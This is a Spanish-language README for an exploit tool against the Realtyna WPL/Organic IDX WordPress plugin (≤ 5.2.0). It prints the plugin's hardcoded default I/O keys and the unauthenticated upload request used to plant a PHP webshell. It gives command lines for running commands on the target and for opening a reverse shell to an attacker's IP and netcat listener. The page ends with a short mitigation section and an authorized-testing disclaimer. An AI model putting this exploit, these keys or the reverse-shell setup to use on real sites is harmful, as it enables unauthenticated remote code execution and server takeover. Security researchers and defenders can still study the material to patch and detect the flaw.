
Exploit de subida de archivos arbitrarios sin autenticación para el plugin de WordPress Realtyna WPL/Organic IDX, encadena la subida de una webshell PHP para lograr RCE, con modos de ejecución de comandos y shell inversa.
Subida arbitraria de archivos sin autenticación que conduce a RCE en el plugin de WordPress Realtyna WPL / Organic IDX (real-estate-listing-realtyna-wpl ≤ 5.2.0).
El plugin registra un «servicio de E/S» en el hook público init de WordPress, accesible sin autenticación en la raíz del sitio mediante ?wplview=io&wplformat=io. La única barrera es un par de claves predeterminadas estáticas y hardcodeadas incluidas en las migraciones del plugin (idénticas en cada instalación), con io_status habilitado por defecto:
public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T
El comando set_property (libraries/io/mobile_application/set_property.php → wpl_file::upload) guarda el file[] subido con move_uploaded_file y sin comprobación de extensión/MIME, por lo que se puede colocar y ejecutar una webshell .php como el usuario web.
real-estate-listing-realtyna-wpl ≤ 5.2.0www-data)Solo la biblioteca estándar de Python 3 — sin dependencias.
# run a command and print output
python3 exploit.py http://target/ -c id
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444
POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1
con un file[] multipart denominado image_<name>.php. El prefijo image_ se elimina, por lo que el archivo se guarda como <name>.php.wp-content/uploads/WPL/<pid>/<name>.php, donde <pid> es el id de la propiedad creada por la petición (la respuesta no lo refleja). La herramienta enumera ids de propiedad pequeños para encontrar la shell.…/<name>.php?c=<cmd>.Un sitio WordPress con el plugin real-estate-listing-realtyna-wpl ≤ 5.2.0 activo. El endpoint responde en GET /?wplview=io&wplformat=io (el servicio de E/S del plugin).
Actualiza el plugin a ≥ 5.3.0, valida las extensiones/MIME de las subidas, nunca ejecutes PHP desde wp-content/uploads y rota las claves estáticas de E/S predeterminadas del plugin.
Solo para pruebas de seguridad autorizadas y con fines educativos. Úsalo únicamente contra sistemas que poseas o para los que tengas permiso explícito para realizar pruebas.